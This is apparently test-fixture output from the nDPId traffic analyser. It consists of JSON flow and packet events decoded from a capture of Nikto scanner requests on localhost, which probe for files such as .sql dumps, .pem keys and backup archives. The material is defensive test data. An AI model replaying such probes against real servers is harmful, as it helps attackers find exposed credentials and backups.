+00619{"flow_id":262,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":77220,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9i6BAAEAGsJh\/AAABfwAAAcOUH5B4uLPsGcILh4AYAED+sQAAAQEICp1m\/H2dZvx9R0VUIC8xLnNxbCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":262,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":262,"flow_packet_id":1,"flow_first_seen":1576420277077,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50068,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":263,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":263,"flow_packet_id":1,"flow_first_seen":1576420277078,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50070,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":263,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":78547,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9VOpAAEAG505\/AAABfwAAAcOWH5Crf2yePds4BoAYAED+sQAAAQEICp1m\/H6dZvx+R0VUIC8xLnBlbSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":263,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":263,"flow_packet_id":1,"flow_first_seen":1576420277078,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50070,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":264,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":264,"flow_packet_id":1,"flow_first_seen":1576420277079,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50072,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":264,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":79911,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9DWxAAEAGLs1\/AAABfwAAAcOYH5CSvzUdCWfTlYAYAED+sQAAAQEICp1m\/H+dZvx\/R0VUIC8xLnBlbSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":264,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":264,"flow_packet_id":1,"flow_first_seen":1576420277079,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50072,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":265,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":265,"flow_packet_id":1,"flow_first_seen":1576420277081,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50074,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":265,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":81623,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDZbZAAEAG1nx\/AAABfwAAAcOaH5Ap5V3Dc4s2n4AYAED+twAAAQEICp1m\/IGdZvyBR0VUIC8xMjcuMC4wLnRneiBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":265,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":265,"flow_packet_id":1,"flow_first_seen":1576420277081,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50074,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":266,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":266,"flow_packet_id":1,"flow_first_seen":1576420277083,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50076,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":266,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":83098,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDEYFAAEAGKrJ\/AAABfwAAAcOcH5DxxikK7qXr+IAYAED+twAAAQEICp1m\/IOdZvyCR0VUIC8xMjcuMC4wLnRneiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":266,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":266,"flow_packet_id":1,"flow_first_seen":1576420277083,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50076,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":267,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":267,"flow_packet_id":1,"flow_first_seen":1576420277084,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50078,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":267,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":84312,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFEhNAAEAGKh5\/AAABfwAAAcOeH5AvZipnVfZObIAYAED+uQAAAQEICp1m\/ISdZvyER0VUIC8xMjdfMF8wXzEucGVtIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":267,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":267,"flow_packet_id":1,"flow_first_seen":1576420277084,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50078,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":268,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":268,"flow_packet_id":1,"flow_first_seen":1576420277086,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50080,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":268,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":86608,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADF4EhAAEAGW+h\/AAABfwAAAcOgH5AMu9gyVttcv4AYAED+uQAAAQEICp1m\/IadZvyGR0VUIC8xMjdfMF8wXzEucGVtIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":268,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":268,"flow_packet_id":1,"flow_first_seen":1576420277086,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50080,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":269,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":269,"flow_packet_id":1,"flow_first_seen":1576420277087,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50082,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":269,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":87816,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFByZAAEAGNQt\/AAABfwAAAcOiH5Ca4D9dxFiRCIAYAED+uQAAAQEICp1m\/IedZvyHR0VUIC8xMjdfMF8wXzEuZWdnIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":269,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":269,"flow_packet_id":1,"flow_first_seen":1576420277087,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50082,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":270,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":270,"flow_packet_id":1,"flow_first_seen":1576420277089,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50084,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":270,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":89203,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFHRdAAEAGHxp\/AAABfwAAAcOkH5BFAiVuc2g7y4AYAED+uQAAAQEICp1m\/ImdZvyJR0VUIC8xMjdfMF8wXzEuZWdnIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":270,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":270,"flow_packet_id":1,"flow_first_seen":1576420277089,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50084,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":271,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":271,"flow_packet_id":1,"flow_first_seen":1576420277090,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50086,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":271,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":90493,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCB4tAAEAGNKl\/AAABfwAAAcOmH5BcnD\/ywDswlIAYAED+tgAAAQEICp1m\/IqdZvyKR0VUIC9iYWNrdXAud2FyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":271,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":271,"flow_packet_id":1,"flow_first_seen":1576420277090,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50086,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":272,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":272,"flow_packet_id":1,"flow_first_seen":1576420277091,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50088,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":272,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":91733,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCHJtAAEAGH5l\/AAABfwAAAcOoH5BLfyTh3iqQcIAYAED+tgAAAQEICp1m\/IudZvyLR0VUIC9iYWNrdXAud2FyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":272,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":272,"flow_packet_id":1,"flow_first_seen":1576420277091,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50088,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":273,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":273,"flow_packet_id":1,"flow_first_seen":1576420277093,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50090,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":273,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":93073,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCo9lAAEAGmFp\/AAABfwAAAcOqH5B0iJuvJFRwg4AYAED+tgAAAQEICp1m\/IydZvyMR0VUIC9iYWNrdXAuZWdnIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":273,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":273,"flow_packet_id":1,"flow_first_seen":1576420277093,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50090,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":274,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":274,"flow_packet_id":1,"flow_first_seen":1576420277094,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50092,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":274,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":94657,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCBM1AAEAGN2d\/AAABfwAAAcOsH5CyHDyzBNbaOYAYAED+tgAAAQEICp1m\/I6dZvyOR0VUIC9iYWNrdXAuZWdnIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":274,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":274,"flow_packet_id":1,"flow_first_seen":1576420277094,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50092,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} 